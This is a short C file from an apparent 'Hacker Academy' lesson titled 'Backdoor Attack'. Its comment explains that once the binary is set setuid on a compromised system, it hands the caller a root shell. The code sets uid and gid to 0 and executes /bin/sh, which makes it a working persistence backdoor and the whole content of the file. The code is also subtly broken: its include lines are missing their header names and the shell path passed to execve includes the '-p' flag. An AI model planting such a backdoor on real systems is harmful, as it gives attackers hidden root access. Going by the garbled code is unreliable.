/* HackersLab - Hacker Academy ISM 1, Backdoor Attack * Author: jykim@hackerslab.com, jykim@nownuri.net * * Description: This example shows the effective on the execution of the * program with the setuid. * * Result: You get the uid, gid and euid with 0. * * Note: This program should set the setuid using 'chmod u+s' on the status * which you get the privilege. */ #include #include int main(int argc, char *argv[]) { char *name[] = {"/bin/sh -p", NULL}; setuid(0); setgid(0); execve(name[0], name, NULL); }